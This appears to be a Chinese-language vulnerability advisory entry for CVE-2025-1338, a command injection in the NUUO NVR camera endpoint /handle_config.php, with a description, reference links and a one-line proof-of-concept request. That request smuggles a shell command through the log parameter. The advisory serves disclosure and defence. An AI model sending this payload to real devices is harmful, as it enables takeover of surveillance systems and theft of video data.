Description
NUUO NVR摄像机 /handle_config.php 接口在处理用户输入的log参数时，未对传入的系统命令进行有效过滤和验证，导致攻击者可通过构造恶意参数直接执行任意操作系统命令。利用此漏洞，攻击者可完全控制受影响的NVR设备，进而窃取监控视频数据、篡改系统配置或将其作为内网渗透的跳板，对安防系统构成严重威胁。
NUUO NVR 摄像机 /handle_config.php 命令执行漏洞
PoC
GET /handle_config.php?log=;id; HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://nvd.nist.gov/vuln/detail/CVE-2025-1338
https://www.cnblogs.com/0neOr2eR0/p/18726215
https://github.com/eeeeeeeeee-code/POC/blob/main/wpoc/NUUO/NUUO%E6%91%84%E5%83%8F%E6%9C%BAhandle_config.php%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
https://avd.aliyun.com/detail?id=AVD-2025-1338
https://cve.imfht.com/detail/CVE-2025-1338
https://mrxn.net/jswz/nuuo-handle_site_config-rce.html
https://www.cvedetails.com/cve/CVE-2025-1338/
https://vuldb.com/vuln/295954
https://www.fortiguard.com/encyclopedia/ips/58743
https://www.sentinelone.com/vulnerability-database/cve-2025-1338/
https://pentest-tools.com/vulnerabilities-exploits/nuuo-devices-os-command-injection-vulnerability-feb-2025-active-check_26610